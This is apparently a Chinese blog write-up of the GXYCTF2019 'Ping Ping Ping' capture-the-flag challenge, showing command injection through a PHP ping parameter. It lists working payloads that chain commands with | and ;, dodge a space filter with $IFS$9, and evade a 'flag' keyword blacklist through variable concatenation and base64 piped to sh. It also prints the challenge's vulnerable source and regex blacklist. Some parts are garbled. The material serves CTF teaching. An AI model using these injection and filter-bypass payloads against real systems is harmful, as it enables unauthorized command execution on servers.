[GXYCTF2019]Ping Ping Ping

  1. 观察页面

看到页面上没有什么输入点,只有一个/?Ip,题目又是ping,可能是ping地址,尝试把页面上的格式输入,再随便写一个地址,如/?ip=210.0.0.1

[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping 

[GXYCTF2019]Ping Ping Ping 

这与cmd中ping测试相似,但是真的ping是ping不通的,搜ip是有的,应该是一个开了禁ping的,方向应该是正确的。而且应该是假ping。

        2.找文件

可以利用拼接命令,在/?ip=210.0.0.1后面用拼接符与查看命令连接起来

& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &

&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’

| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l

|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”

; 分号表示命令依次执行。

尝试输入:/?Ip=210.0.0.1&&ls (ls:查找文件)

发现没有任何新的回显,应该是因为前面是假ping,所以后面的命令不执行

 [GXYCTF2019]Ping Ping Ping

尝试输入:/?ip=210.0.0.1|ls,发现有新的回显,显示出了两个文件[GXYCTF2019]Ping Ping Ping 

        3.显示文件内容

输入:/?Ip=210.0.0.1|cat flag.php[GXYCTF2019]Ping Ping Ping

 

显示不要输入空格,空格应该是被过滤了

        4.空格绕过

输入:/?Ip=210.0.0.1|cat${IFS}flag.php

 [GXYCTF2019]Ping Ping Ping

{}被过滤了

发现$IFS$9可以,但是提示flag被过滤了[GXYCTF2019]Ping Ping Ping

发现flag也被过滤了

[GXYCTF2019]Ping Ping Ping         5.查看index.php

flag看不到什么内容,想到还有一个Index.php,可以再去查看一下这个文件

[GXYCTF2019]Ping Ping Ping

 

/?ip=

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){

    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);

    die("fxck your symbol!");

  } else if(preg_match("/ /", $ip)){

    die("fxck your space!");

  } else if(preg_match("/bash/", $ip)){

    die("fxck your bash!");

  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){

    die("fxck your flag!");

  }

  $a = shell_exec("ping -c 4 ".$ip);

  echo "

";

  print_r($a);

}

?>

直接读取flag.php不行,只能通过绕过正则的方法来查看flag,php

        6.读取flag.php

法一:变量拼接字符串

使用变量拼接字符串,比如这样:

a=j;b=xt;echo $b$a

输出结果是:xtj

因此我们可以用这个方法拼接一个flag.php出来,再读取。

尝试输入 /?Ip=210.0.0.1;b=ag.php;b=fl;cat$IFS$9$a$b

flag.php反过来写的原因是,flag中间有内容的话也会被匹配到

 [GXYCTF2019]Ping Ping Ping

没有回显,尝试下一种方法

法二:使用 base64 编码的方式来绕过 flag 过滤。

加密:echo “cat flag.php” | base64

解密:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

尝试输入:

/?ip=210.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh[GXYCTF2019]Ping Ping Ping

还是没有回显,这时候有些疑问,选择查看一下源代码,看看是否会在注释里[GXYCTF2019]Ping Ping Ping 

 

 

上一篇:计算机网络实验--Cisco Packet Tracer 实验


下一篇:银河麒麟V10系统默认不能ping通的解决方案